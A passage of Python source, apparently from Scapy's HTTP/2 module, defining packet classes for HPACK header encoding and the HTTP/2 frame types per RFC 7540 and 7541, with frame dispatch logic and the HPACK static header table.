]\n\n\nclass HPackLitHdrFldWithoutIndexing(HPackHeaders):\n    \"\"\" HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.2\n    and par6.2.3\n    \"\"\"\n    name = 'HPack Literal Header Without Indexing (or Never Indexing)'\n    fields_desc = [\n        HPackMagicBitField('magic', 0, 3),\n        fields.BitEnumField(\n            'never_index', 0, 1,\n            {0: \"Don't Index\", 1: 'Never Index'}\n        ),\n        UVarIntField('index', 0, 4),  # Default is New Name\n        fields.ConditionalField(\n            fields.PacketField('hdr_name', None, HPackHdrString),\n            lambda pkt: pkt.getfieldval('index') == 0\n        ),\n        fields.PacketField('hdr_value', None, HPackHdrString)\n    ]\n\n\nclass HPackDynamicSizeUpdate(HPackHeaders):\n    \"\"\" HPackDynamicSizeUpdate implements RFC 7541 par6.3\n    \"\"\"\n    name = 'HPack Dynamic Size Update'\n    fields_desc = [\n        HPackMagicBitField('magic', 1, 3),\n        UVarIntField('max_size', 0, 5)\n    ]\n\n###############################################################################\n#                                             HTTP/2 Frames                   #\n###############################################################################\n\n\nclass H2FramePayload(packet.Packet):\n    \"\"\" H2FramePayload is an empty class that is a super class of all Scapy\n    HTTP/2 Frame Packets\n    \"\"\"\n\n#                                             HTTP/2 Data Frame Packets                                                #  # noqa: E501\n\n\nclass H2DataFrame(H2FramePayload):\n    \"\"\" H2DataFrame implements RFC7540 par6.1\n    This packet is the Data Frame to use when there is no padding.\n    \"\"\"\n    type_id = 0\n    END_STREAM_FLAG = 0  # 0x1\n    PADDED_FLAG = 3  # 0x8\n    flags = {\n        END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'),\n        PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded')\n    }\n\n    name = 'HTTP/2 Data Frame'\n    fields_desc = [\n        fields.StrField('data', '')\n    ]\n\n\nclass H2PaddedDataFrame(H2DataFrame):\n    \"\"\" H2DataFrame implements RFC7540 par6.1\n    This packet is the Data Frame to use when there is padding.\n    \"\"\"\n    __slots__ = ['s_len']\n\n    name = 'HTTP/2 Padded Data Frame'\n    fields_desc = [\n        fields.FieldLenField('padlen', None, length_of='padding', fmt=\"B\"),\n        fields.StrLenField('data', '',\n                           length_from=lambda pkt: pkt.get_data_len()\n                           ),\n        fields.StrLenField('padding', '',\n                           length_from=lambda pkt: pkt.getfieldval('padlen')\n                           )\n    ]\n\n    def get_data_len(self):\n        # type: () -> int\n        \"\"\" get_data_len computes the length of the data field\n\n        To do this computation, the length of the padlen field and the actual\n        padding is subtracted to the string that was provided to the pre_dissect  # noqa: E501\n        fun of the pkt parameter\n        :return: int; length of the data part of the HTTP/2 frame packet provided as parameter  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        padding_len = self.getfieldval('padlen')\n        fld, fval = self.getfield_and_val('padlen')\n        padding_len_len = fld.i2len(self, fval)\n\n        ret = self.s_len - padding_len_len - padding_len\n        assert ret >= 0\n        return ret\n\n    def pre_dissect(self, s):\n        # type: (str) -> str\n        \"\"\"pre_dissect is filling the s_len property of this instance. This\n        property is later used during the getfield call of the \"data\" field when  # noqa: E501\n        trying to evaluate the length of the StrLenField! This \"trick\" works\n        because the underlayer packet (H2Frame) is assumed to override the\n        \"extract_padding\" method and to only provide to this packet the data\n        necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501\n        \"\"\"\n        self.s_len = len(s)\n        return s\n\n\n#                                             HTTP/2 Header Frame Packets                                              #  # noqa: E501\n\nclass H2AbstractHeadersFrame(H2FramePayload):\n    \"\"\"Superclass of all variants of HTTP/2 Header Frame Packets.\n    May be used for type checking.\n    \"\"\"\n\n\nclass H2HeadersFrame(H2AbstractHeadersFrame):\n    \"\"\" H2HeadersFrame implements RFC 7540 par6.2 Headers Frame\n    when there is no padding and no priority information\n\n    The choice of decomposing into four classes is probably preferable to having  # noqa: E501\n    numerous conditional fields based on the underlayer :/\n    \"\"\"\n    type_id = 1\n    END_STREAM_FLAG = 0  # 0x1\n    END_HEADERS_FLAG = 2  # 0x4\n    PADDED_FLAG = 3  # 0x8\n    PRIORITY_FLAG = 5  # 0x20\n    flags = {\n        END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'),\n        END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'),\n        PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded'),\n        PRIORITY_FLAG: fields.MultiFlagsEntry('+', 'Priority')\n    }\n\n    name = 'HTTP/2 Headers Frame'\n    fields_desc = [\n        fields.PacketListField('hdrs', [], HPackHeaders)\n    ]\n\n\nclass H2PaddedHeadersFrame(H2AbstractHeadersFrame):\n    \"\"\" H2PaddedHeadersFrame is the variant of H2HeadersFrame where padding flag\n    is set and priority flag is cleared\n    \"\"\"\n    __slots__ = ['s_len']\n\n    name = 'HTTP/2 Headers Frame with Padding'\n    fields_desc = [\n        fields.FieldLenField('padlen', None, length_of='padding', fmt='B'),\n        fields.PacketListField('hdrs', [], HPackHeaders,\n                               length_from=lambda pkt: pkt.get_hdrs_len()\n                               ),\n        fields.StrLenField('padding', '',\n                           length_from=lambda pkt: pkt.getfieldval('padlen')\n                           )\n    ]\n\n    def get_hdrs_len(self):\n        # type: () -> int\n        \"\"\" get_hdrs_len computes the length of the hdrs field\n\n        To do this computation, the length of the padlen field and the actual\n        padding is subtracted to the string that was provided to the pre_dissect  # noqa: E501\n        fun of the pkt parameter.\n        :return: int; length of the data part of the HTTP/2 frame packet provided as parameter  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        padding_len = self.getfieldval('padlen')\n        fld, fval = self.getfield_and_val('padlen')\n        padding_len_len = fld.i2len(self, fval)\n\n        ret = self.s_len - padding_len_len - padding_len\n        assert ret >= 0\n        return ret\n\n    def pre_dissect(self, s):\n        # type: (str) -> str\n        \"\"\"pre_dissect is filling the s_len property of this instance. This\n        property is later used during the parsing of the hdrs PacketListField\n        when trying to evaluate the length of the PacketListField! This \"trick\"\n        works because the underlayer packet (H2Frame) is assumed to override the  # noqa: E501\n        \"extract_padding\" method and to only provide to this packet the data\n        necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501\n        \"\"\"\n        self.s_len = len(s)\n        return s\n\n\nclass H2PriorityHeadersFrame(H2AbstractHeadersFrame):\n    \"\"\" H2PriorityHeadersFrame is the variant of H2HeadersFrame where priority flag\n    is set and padding flag is cleared\n    \"\"\"\n    __slots__ = ['s_len']\n\n    name = 'HTTP/2 Headers Frame with Priority'\n    fields_desc = [\n        fields.BitField('exclusive', 0, 1),\n        fields.BitField('stream_dependency', 0, 31),\n        fields.ByteField('weight', 0),\n        # This PacketListField will consume all remaining bytes; not a problem\n        # because the underlayer (H2Frame) overrides \"extract_padding\" so that\n        # this Packet only get to parser what it needs to\n        fields.PacketListField('hdrs', [], HPackHeaders),\n    ]\n\n\nclass H2PaddedPriorityHeadersFrame(H2AbstractHeadersFrame):\n    \"\"\" H2PaddedPriorityHeadersFrame is the variant of H2HeadersFrame where\n    both priority and padding flags are set\n    \"\"\"\n    __slots__ = ['s_len']\n\n    name = 'HTTP/2 Headers Frame with Padding and Priority'\n    fields_desc = [\n        fields.FieldLenField('padlen', None, length_of='padding', fmt='B'),\n        fields.BitField('exclusive', 0, 1),\n        fields.BitField('stream_dependency', 0, 31),\n        fields.ByteField('weight', 0),\n        fields.PacketListField('hdrs', [], HPackHeaders,\n                               length_from=lambda pkt: pkt.get_hdrs_len()\n                               ),\n        fields.StrLenField('padding', '',\n                           length_from=lambda pkt: pkt.getfieldval('padlen')\n                           )\n    ]\n\n    def get_hdrs_len(self):\n        # type: () -> int\n        \"\"\" get_hdrs_len computes the length of the hdrs field\n\n        To do this computation, the length of the padlen field, the priority\n        information fields and the actual padding is subtracted to the string\n        that was provided to the pre_dissect fun of the pkt parameter.\n        :return: int: the length of the hdrs field\n        :raises: AssertionError\n        \"\"\"\n\n        padding_len = self.getfieldval('padlen')\n        fld, fval = self.getfield_and_val('padlen')\n        padding_len_len = fld.i2len(self, fval)\n        bit_cnt = self.get_field('exclusive').size\n        bit_cnt += self.get_field('stream_dependency').size\n        fld, fval = self.getfield_and_val('weight')\n        weight_len = fld.i2len(self, fval)\n        ret = int(self.s_len -\n                  padding_len_len -\n                  padding_len -\n                  (bit_cnt / 8) -\n                  weight_len\n                  )\n        assert ret >= 0\n        return ret\n\n    def pre_dissect(self, s):\n        # type: (str) -> str\n        \"\"\"pre_dissect is filling the s_len property of this instance. This\n        property is later used during the parsing of the hdrs PacketListField\n        when trying to evaluate the length of the PacketListField! This \"trick\"\n        works because the underlayer packet (H2Frame) is assumed to override the  # noqa: E501\n        \"extract_padding\" method and to only provide to this packet the data\n        necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501\n        \"\"\"\n        self.s_len = len(s)\n        return s\n\n#                                           HTTP/2 Priority Frame Packets                                              #  # noqa: E501\n\n\nclass H2PriorityFrame(H2FramePayload):\n    \"\"\" H2PriorityFrame implements RFC 7540 par6.3\n    \"\"\"\n    type_id = 2\n    name = 'HTTP/2 Priority Frame'\n    fields_desc = [\n        fields.BitField('exclusive', 0, 1),\n        fields.BitField('stream_dependency', 0, 31),\n        fields.ByteField('weight', 0)\n    ]\n\n#                                                 HTTP/2 Errors                                                        #  # noqa: E501\n\n\nclass H2ErrorCodes(object):\n    \"\"\" H2ErrorCodes is an enumeration of the error codes defined in\n    RFC7540 par7.\n    This enumeration is not part of any frame because the error codes are in\n    common with H2ResetFrame and H2GoAwayFrame.\n    \"\"\"\n\n    NO_ERROR = 0x0\n    PROTOCOL_ERROR = 0x1\n    INTERNAL_ERROR = 0x2\n    FLOW_CONTROL_ERROR = 0x3\n    SETTINGS_TIMEOUT = 0x4\n    STREAM_CLOSED = 0x5\n    FRAME_SIZE_ERROR = 0x6\n    REFUSED_STREAM = 0x7\n    CANCEL = 0x8\n    COMPRESSION_ERROR = 0x9\n    CONNECT_ERROR = 0xa\n    ENHANCE_YOUR_CALM = 0xb\n    INADEQUATE_SECURITY = 0xc\n    HTTP_1_1_REQUIRED = 0xd\n\n    literal = {\n        NO_ERROR: 'No error',\n        PROTOCOL_ERROR: 'Protocol error',\n        INTERNAL_ERROR: 'Internal error',\n        FLOW_CONTROL_ERROR: 'Flow control error',\n        SETTINGS_TIMEOUT: 'Settings timeout',\n        STREAM_CLOSED: 'Stream closed',\n        FRAME_SIZE_ERROR: 'Frame size error',\n        REFUSED_STREAM: 'Refused stream',\n        CANCEL: 'Cancel',\n        COMPRESSION_ERROR: 'Compression error',\n        CONNECT_ERROR: 'Control error',\n        ENHANCE_YOUR_CALM: 'Enhance your calm',\n        INADEQUATE_SECURITY: 'Inadequate security',\n        HTTP_1_1_REQUIRED: 'HTTP/1.1 required'\n    }\n\n\n#                                           HTTP/2 Reset Frame Packets                                                 #  # noqa: E501\n\nclass H2ResetFrame(H2FramePayload):\n    \"\"\" H2ResetFrame implements RFC 7540 par6.4\n    \"\"\"\n    type_id = 3\n    name = 'HTTP/2 Reset Frame'\n    fields_desc = [\n        fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I')\n    ]\n\n\n#                                           HTTP/2 Settings Frame Packets                                              #  # noqa: E501\n\nclass H2Setting(packet.Packet):\n    \"\"\" H2Setting implements a setting, as defined in RFC7540 par6.5.1\n    \"\"\"\n    SETTINGS_HEADER_TABLE_SIZE = 0x1\n    SETTINGS_ENABLE_PUSH = 0x2\n    SETTINGS_MAX_CONCURRENT_STREAMS = 0x3\n    SETTINGS_INITIAL_WINDOW_SIZE = 0x4\n    SETTINGS_MAX_FRAME_SIZE = 0x5\n    SETTINGS_MAX_HEADER_LIST_SIZE = 0x6\n\n    name = 'HTTP/2 Setting'\n    fields_desc = [\n        fields.EnumField('id', 0, {\n            SETTINGS_HEADER_TABLE_SIZE: 'Header table size',\n            SETTINGS_ENABLE_PUSH: 'Enable push',\n            SETTINGS_MAX_CONCURRENT_STREAMS: 'Max concurrent streams',\n            SETTINGS_INITIAL_WINDOW_SIZE: 'Initial window size',\n            SETTINGS_MAX_FRAME_SIZE: 'Max frame size',\n            SETTINGS_MAX_HEADER_LIST_SIZE: 'Max header list size'\n        }, fmt='!H'),\n        fields.IntField('value', 0)\n    ]\n\n    def guess_payload_class(self, payload):\n        # type: (str) -> Packet_metaclass\n        return config.conf.padding_layer\n\n\nclass H2SettingsFrame(H2FramePayload):\n    \"\"\" H2SettingsFrame implements RFC7540 par6.5\n    \"\"\"\n    type_id = 4\n    ACK_FLAG = 0  # 0x1\n    flags = {\n        ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK')\n    }\n\n    name = 'HTTP/2 Settings Frame'\n    fields_desc = [\n        fields.PacketListField('settings', [], H2Setting)\n    ]\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"__init__ initializes this H2SettingsFrame\n\n        If a _pkt arg is provided (by keyword), then this is an initialization\n        from a string to dissect and therefore the length of the string to\n        dissect have distinctive characteristics that we might want to check.\n        This is possible because the underlayer packet (H2Frame) overrides\n        extract_padding method to provided only the string that must be parsed\n        by this packet!\n        :raises: AssertionError\n        \"\"\"\n\n        # RFC7540 par6.5 p36\n        assert (\n            len(args) == 0 or (\n                isinstance(args[0], bytes) and\n                len(args[0]) % 6 == 0\n            )\n        ), 'Invalid settings frame; length is not a multiple of 6'\n        super(H2SettingsFrame, self).__init__(*args, **kwargs)\n\n#                                        HTTP/2 Push Promise Frame Packets                                             #  # noqa: E501\n\n\nclass H2PushPromiseFrame(H2FramePayload):\n    \"\"\" H2PushPromiseFrame implements RFC7540 par6.6. This packet\n    is the variant to use when the underlayer padding flag is cleared\n    \"\"\"\n    type_id = 5\n    END_HEADERS_FLAG = 2  # 0x4\n    PADDED_FLAG = 3  # 0x8\n    flags = {\n        END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'),\n        PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded')\n    }\n\n    name = 'HTTP/2 Push Promise Frame'\n    fields_desc = [\n        fields.BitField('reserved', 0, 1),\n        fields.BitField('stream_id', 0, 31),\n        fields.PacketListField('hdrs', [], HPackHeaders)\n    ]\n\n\nclass H2PaddedPushPromiseFrame(H2PushPromiseFrame):\n    \"\"\" H2PaddedPushPromiseFrame implements RFC7540 par6.6. This\n    packet is the variant to use when the underlayer padding flag is set\n    \"\"\"\n    __slots__ = ['s_len']\n\n    name = 'HTTP/2 Padded Push Promise Frame'\n    fields_desc = [\n        fields.FieldLenField('padlen', None, length_of='padding', fmt='B'),\n        fields.BitField('reserved', 0, 1),\n        fields.BitField('stream_id', 0, 31),\n        fields.PacketListField('hdrs', [], HPackHeaders,\n                               length_from=lambda pkt: pkt.get_hdrs_len()\n                               ),\n        fields.StrLenField('padding', '',\n                           length_from=lambda pkt: pkt.getfieldval('padlen')\n                           )\n    ]\n\n    def get_hdrs_len(self):\n        # type: () -> int\n        \"\"\" get_hdrs_len computes the length of the hdrs field\n\n        To do this computation, the length of the padlen field, reserved,\n        stream_id and the actual padding is subtracted to the string that was\n        provided to the pre_dissect fun of the pkt parameter.\n        :return: int: the length of the hdrs field\n        :raises: AssertionError\n        \"\"\"\n        fld, padding_len = self.getfield_and_val('padlen')\n        padding_len_len = fld.i2len(self, padding_len)\n        bit_len = self.get_field('reserved').size\n        bit_len += self.get_field('stream_id').size\n\n        ret = int(self.s_len -\n                  padding_len_len -\n                  padding_len -\n                  (bit_len / 8)\n                  )\n        assert ret >= 0\n        return ret\n\n    def pre_dissect(self, s):\n        # type: (str) -> str\n        \"\"\"pre_dissect is filling the s_len property of this instance. This\n        property is later used during the parsing of the hdrs PacketListField\n        when trying to evaluate the length of the PacketListField! This \"trick\"\n        works because the underlayer packet (H2Frame) is assumed to override the  # noqa: E501\n        \"extract_padding\" method and to only provide to this packet the data\n        necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501\n        \"\"\"\n        self.s_len = len(s)\n        return s\n\n#                                               HTTP/2 Ping Frame Packets                                              #  # noqa: E501\n\n\nclass H2PingFrame(H2FramePayload):\n    \"\"\" H2PingFrame implements the RFC 7540 par6.7\n    \"\"\"\n    type_id = 6\n    ACK_FLAG = 0  # 0x1\n    flags = {\n        ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK')\n    }\n\n    name = 'HTTP/2 Ping Frame'\n    fields_desc = [\n        fields.LongField('opaque', 0)\n    ]\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"\n        :raises: AssertionError\n        \"\"\"\n        # RFC7540 par6.7 p42\n        assert (\n            len(args) == 0 or (\n                isinstance(args[0], (bytes, str)) and\n                len(args[0]) == 8\n            )\n        ), 'Invalid ping frame; length is not 8'\n        super(H2PingFrame, self).__init__(*args, **kwargs)\n\n\n#                                             HTTP/2 GoAway Frame Packets                                              #  # noqa: E501\n\nclass H2GoAwayFrame(H2FramePayload):\n    \"\"\" H2GoAwayFrame implements the RFC 7540 par6.8\n    \"\"\"\n    type_id = 7\n\n    name = 'HTTP/2 Go Away Frame'\n    fields_desc = [\n        fields.BitField('reserved', 0, 1),\n        fields.BitField('last_stream_id', 0, 31),\n        fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I'),\n        fields.StrField('additional_data', '')\n    ]\n\n#                                      HTTP/2 Window Update Frame Packets                                              #  # noqa: E501\n\n\nclass H2WindowUpdateFrame(H2FramePayload):\n    \"\"\" H2WindowUpdateFrame implements the RFC 7540 par6.9\n    \"\"\"\n    type_id = 8\n\n    name = 'HTTP/2 Window Update Frame'\n    fields_desc = [\n        fields.BitField('reserved', 0, 1),\n        fields.BitField('win_size_incr', 0, 31)\n    ]\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"\n        :raises: AssertionError\n        \"\"\"\n        # RFC7540 par6.9 p46\n        assert (\n            len(args) == 0 or (\n                isinstance(args[0], (bytes, str)) and\n                len(args[0]) == 4\n            )\n        ), 'Invalid window update frame; length is not 4'\n        super(H2WindowUpdateFrame, self).__init__(*args, **kwargs)\n\n#                                       HTTP/2 Continuation Frame Packets                                              #  # noqa: E501\n\n\nclass H2ContinuationFrame(H2FramePayload):\n    \"\"\" H2ContinuationFrame implements the RFC 7540 par6.10\n    \"\"\"\n    type_id = 9\n    END_HEADERS_FLAG = 2  # Ox4\n    flags = {\n        END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers')\n    }\n\n    name = 'HTTP/2 Continuation Frame'\n    fields_desc = [\n        fields.PacketListField('hdrs', [], HPackHeaders)\n    ]\n\n#                                          HTTP/2 Base Frame Packets                                                   #  # noqa: E501\n\n\n_HTTP2_types = {\n    0: 'DataFrm',\n    1: 'HdrsFrm',\n    2: 'PrioFrm',\n    3: 'RstFrm',\n    4: 'SetFrm',\n    5: 'PushFrm',\n    6: 'PingFrm',\n    7: 'GoawayFrm',\n    8: 'WinFrm',\n    9: 'ContFrm'\n}\n\n\nclass H2Frame(packet.Packet):\n    \"\"\" H2Frame implements the frame structure as defined in RFC 7540 par4.1\n\n    This packet may have a payload (one of the H2FramePayload) or none, in some\n    rare cases such as settings acknowledgement)\n    \"\"\"\n    name = 'HTTP/2 Frame'\n    fields_desc = [\n        fields.X3BytesField('len', None),\n        fields.EnumField('type', None, _HTTP2_types, \"b\"),\n        fields.MultiFlagsField('flags', set(), 8, {\n            H2DataFrame.type_id: H2DataFrame.flags,\n            H2HeadersFrame.type_id: H2HeadersFrame.flags,\n            H2PushPromiseFrame.type_id: H2PushPromiseFrame.flags,\n            H2SettingsFrame.type_id: H2SettingsFrame.flags,\n            H2PingFrame.type_id: H2PingFrame.flags,\n            H2ContinuationFrame.type_id: H2ContinuationFrame.flags,\n        },\n            depends_on=lambda pkt: pkt.getfieldval('type')\n        ),\n        fields.BitField('reserved', 0, 1),\n        fields.BitField('stream_id', 0, 31)\n    ]\n\n    def guess_payload_class(self, payload):\n        # type: (str) -> Packet_metaclass\n        \"\"\" guess_payload_class returns the Class object to use for parsing a payload\n        This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be  # noqa: E501\n        performed using the simple bind_layers helper because sometimes the selection of which Class object to return  # noqa: E501\n        also depends on the H2Frame.flags value.\n\n        :param payload:\n        :return::\n        \"\"\"\n        if len(payload) == 0:\n            return packet.NoPayload\n\n        t = self.getfieldval('type')\n        if t == H2DataFrame.type_id:\n            if H2DataFrame.flags[H2DataFrame.PADDED_FLAG].short in self.getfieldval('flags'):  # noqa: E501\n                return H2PaddedDataFrame\n            return H2DataFrame\n\n        if t == H2HeadersFrame.type_id:\n            if H2HeadersFrame.flags[H2HeadersFrame.PADDED_FLAG].short in self.getfieldval('flags'):  # noqa: E501\n                if H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'):  # noqa: E501\n                    return H2PaddedPriorityHeadersFrame\n                else:\n                    return H2PaddedHeadersFrame\n            elif H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'):  # noqa: E501\n                return H2PriorityHeadersFrame\n            return H2HeadersFrame\n\n        if t == H2PriorityFrame.type_id:\n            return H2PriorityFrame\n\n        if t == H2ResetFrame.type_id:\n            return H2ResetFrame\n\n        if t == H2SettingsFrame.type_id:\n            return H2SettingsFrame\n\n        if t == H2PushPromiseFrame.type_id:\n            if H2PushPromiseFrame.flags[H2PushPromiseFrame.PADDED_FLAG].short in self.getfieldval('flags'):  # noqa: E501\n                return H2PaddedPushPromiseFrame\n            return H2PushPromiseFrame\n\n        if t == H2PingFrame.type_id:\n            return H2PingFrame\n\n        if t == H2GoAwayFrame.type_id:\n            return H2GoAwayFrame\n\n        if t == H2WindowUpdateFrame.type_id:\n            return H2WindowUpdateFrame\n\n        if t == H2ContinuationFrame.type_id:\n            return H2ContinuationFrame\n\n        return config.conf.padding_layer\n\n    def extract_padding(self, s):\n        # type: (str) -> Tuple[str, str]\n        \"\"\"\n        :param str s: the string from which to tell the padding and the payload data apart  # noqa: E501\n        :return: (str, str): the padding and the payload data strings\n        :raises: AssertionError\n        \"\"\"\n        assert isinstance(self.len, int) and self.len >= 0, 'Invalid length: negative len?'  # noqa: E501\n        assert len(s) >= self.len, 'Invalid length: string too short for this length'  # noqa: E501\n        return s[:self.len], s[self.len:]\n\n    def post_build(self, p, pay):\n        # type: (str, str) -> str\n        \"\"\"\n        :param str p: the stringified packet\n        :param str pay: the stringified payload\n        :return: str: the stringified packet and payload, with the packet length field \"patched\"  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        # This logic, while awkward in the post_build and more reasonable in\n        # a self_build is implemented here for performance tricks reason\n        if self.getfieldval('len') is None:\n            assert len(pay) < (1 << 24), 'Invalid length: payload is too long'\n            p = struct.pack('!L', len(pay))[1:] + p[3:]\n        return super(H2Frame, self).post_build(p, pay)\n\n\nclass H2Seq(packet.Packet):\n    \"\"\" H2Seq is a helper packet that contains several H2Frames and their\n    payload. This packet can be used, for instance, while reading manually from\n    a TCP socket.\n    \"\"\"\n    name = 'HTTP/2 Frame Sequence'\n    fields_desc = [\n        fields.PacketListField('frames', [], H2Frame)\n    ]\n\n    def guess_payload_class(self, payload):\n        # type: (str) -> Packet_metaclass\n        return config.conf.padding_layer\n\n\npacket.bind_layers(H2Frame, H2DataFrame, {'type': H2DataFrame.type_id})\npacket.bind_layers(H2Frame, H2PaddedDataFrame, {'type': H2DataFrame.type_id})\npacket.bind_layers(H2Frame, H2HeadersFrame, {'type': H2HeadersFrame.type_id})\npacket.bind_layers(H2Frame, H2PaddedHeadersFrame, {'type': H2HeadersFrame.type_id})  # noqa: E501\npacket.bind_layers(H2Frame, H2PriorityHeadersFrame, {'type': H2HeadersFrame.type_id})  # noqa: E501\npacket.bind_layers(H2Frame, H2PaddedPriorityHeadersFrame, {'type': H2HeadersFrame.type_id})  # noqa: E501\npacket.bind_layers(H2Frame, H2PriorityFrame, {'type': H2PriorityFrame.type_id})\npacket.bind_layers(H2Frame, H2ResetFrame, {'type': H2ResetFrame.type_id})\npacket.bind_layers(H2Frame, H2SettingsFrame, {'type': H2SettingsFrame.type_id})\npacket.bind_layers(H2Frame, H2PingFrame, {'type': H2PingFrame.type_id})\npacket.bind_layers(H2Frame, H2PushPromiseFrame, {'type': H2PushPromiseFrame.type_id})  # noqa: E501\npacket.bind_layers(H2Frame, H2PaddedPushPromiseFrame, {'type': H2PaddedPushPromiseFrame.type_id})  # noqa: E501\npacket.bind_layers(H2Frame, H2GoAwayFrame, {'type': H2GoAwayFrame.type_id})\npacket.bind_layers(H2Frame, H2WindowUpdateFrame, {'type': H2WindowUpdateFrame.type_id})  # noqa: E501\npacket.bind_layers(H2Frame, H2ContinuationFrame, {'type': H2ContinuationFrame.type_id})  # noqa: E501\n\n\n#                                          HTTP/2 Connection Preface                                                   #  # noqa: E501\n# From RFC 7540 par3.5\nH2_CLIENT_CONNECTION_PREFACE = hex_bytes('505249202a20485454502f322e300d0a0d0a534d0d0a0d0a')  # noqa: E501\n\n\n###############################################################################\n#                                                   HTTP/2 Helpers            #\n###############################################################################\n\nclass HPackHdrEntry(Sized):\n    \"\"\" HPackHdrEntry is an entry of the HPackHdrTable helper\n\n    Each HPackHdrEntry instance is a header line (name and value). Names are\n    normalized (lowercase), according to RFC 7540 par8.1.2\n    \"\"\"\n    __slots__ = ['_name', '_len', '_value']\n\n    def __init__(self, name, value):\n        # type: (str, str) -> None\n        \"\"\"\n        :raises: AssertionError\n        \"\"\"\n        assert len(name) > 0\n\n        self._name = name.lower()\n        self._value = value\n\n        # 32 bytes is an RFC-hardcoded value: see RFC 7541 par4.1\n        self._len = (32 + len(self._name) + len(self._value))\n\n    def name(self):\n        # type: () -> str\n        return self._name\n\n    def value(self):\n        # type: () -> str\n        return self._value\n\n    def size(self):\n        # type: () -> int\n        \"\"\" size returns the \"length\" of the header entry, as defined in\n        RFC 7541 par4.1.\n        \"\"\"\n        return self._len\n\n    __len__ = size\n\n    def __str__(self):\n        # type: () -> str\n        \"\"\" __str__ returns the header as it would be formatted in textual format\n        \"\"\"\n        if self._name.startswith(':'):\n            return \"{} {}\".format(self._name, self._value)\n        else:\n            return \"{}: {}\".format(self._name, self._value)\n\n    def __bytes__(self):\n        return bytes_encode(self.__str__())\n\n\nclass HPackHdrTable(Sized):\n    \"\"\" HPackHdrTable is a helper class that implements some of the logic\n    associated with indexing of headers (read and write operations in this\n    \"registry\". THe HPackHdrTable also implements convenience functions to easily  # noqa: E501\n    convert to and from textual representation and binary representation of\n    a HTTP/2 requests\n    \"\"\"\n    __slots__ = [\n        '_dynamic_table',\n        '_dynamic_table_max_size',\n        '_dynamic_table_cap_size',\n        '_regexp'\n    ]\n    \"\"\"\n    :var _dynamic_table: the list containing entries requested to be added by\n        the peer and registered with a register() call\n    :var _dynamic_table_max_size: the current maximum size of the dynamic table\n        in bytes. This value is updated with the Dynamic Table Size Update\n        messages defined in RFC 7541 par6.3\n    :var _dynamic_table_cap_size: the maximum size of the dynamic table in\n        bytes. This value is updated with the SETTINGS_HEADER_TABLE_SIZE HTTP/2\n        setting.\n    \"\"\"\n\n    # Manually imported from RFC 7541 Appendix A\n    _static_entries = {\n        1: HPackHdrEntry(':authority', ''),\n        2: HPackHdrEntry(':method', 'GET'),\n        3: HPackHdrEntry(':method', 'POST'),\n        4: HPackHdrEntry(':path', '/'),\n        5: HPackHdrEntry(':path', '/index.html'),\n        6: HPackHdrEntry(':scheme', 'http'),\n        7: HPackHdrEntry(':scheme', 'https'),\n        8: HPackHdrEntry(':status', '200'),\n        9: HPackHdrEntry(':status', '204'),\n        10: HPackHdrEntry(':status', '206'),\n        11: HPackHdrEntry(':status', '304'),\n        12: HPackHdrEntry(':status', '400'),\n        13: HPackHdrEntry(':status', '404'),\n        14: HPackHdrEntry(':status', '500'),\n        15: HPackHdrEntry('accept-charset', ''),\n        16: HPackHdrEntry('accept-encoding', 'gzip, deflate'),\n        17: HPackHdrEntry('accept-language', ''),\n        18: HPackHdrEntry('accept-ranges', ''),\n        19: HPackHdrEntry('accept', ''),\n        20: HPackHdrEntry('access-control-allow-origin', ''),\n        21: HPackHdrEntry('age', ''),\n        22: HPackHdrEntry('allow', ''),\n        23: HPackHdrEntry('authorization', ''),\n        24: HPackHdrEntry('cache-control', ''),\n        25: HPackHdrEntry('content-disposition', ''),\n        26: HPackHdrEntry('content-encoding', ''),\n        27: HPackHdrEntry('content-language', ''),\n        28: HPackHdrEntry('content-length', ''),\n        29: HPackHdrEntry('content-location', ''),\n        30: HPackHdrEntry('content-range', ''),\n        31: HPackHdrEntry('content-type', ''),\n        32: HPackHdrEntry('cookie', ''),\n        33: HPackHdrEntry('date', ''),\n        34: HPackHdrEntry('etag', ''),\n        35: HPackHdrEntry('expect', ''),\n        36: HPackHdrEntry('expires', ''),\n        37: HPackHdrEntry('from', ''),\n        38: HPackHdrEntry('host', ''),\n        39: HPackHdrEntry('if-match', ''),\n        40: HPackHdrEntry('if-modified-since', ''),\n        41: HPackHdrEntry('if-none-match', ''),\n        42: HPackHdrEntry('if-range', ''),\n        43: HPackHdrEntry('if-unmodified-since', ''),\n        44: HPackHdrEntry('last-modified', ''),\n        45: HPackHdrEntry('link', ''),\n        46: HPackHdrEntry('location', ''),\n        47: HPackHdrEntry('max-forwards', ''),\n        48: HPackHdrEntry('proxy-authenticate', ''),\n        49: HPackHdrEntry('proxy-authorization', ''),\n        50: HPackHdrEntry('range', ''),\n        51: HPackHdrEntry('referer', ''),\n        52: HPackHdrEntry('refresh', ''),\n        53: HPackHdrEntry('retry-after', ''),\n        54: HPackHdrEntry('server', ''),\n        55: HPackHdrEntry('set-cookie', ''),\n        56: HPackHdrEntry('strict-transport-security', ''),\n        57: HPackHdrEntry('transfer-encoding', ''),\n        58: HPackHdrEntry('user-agent', 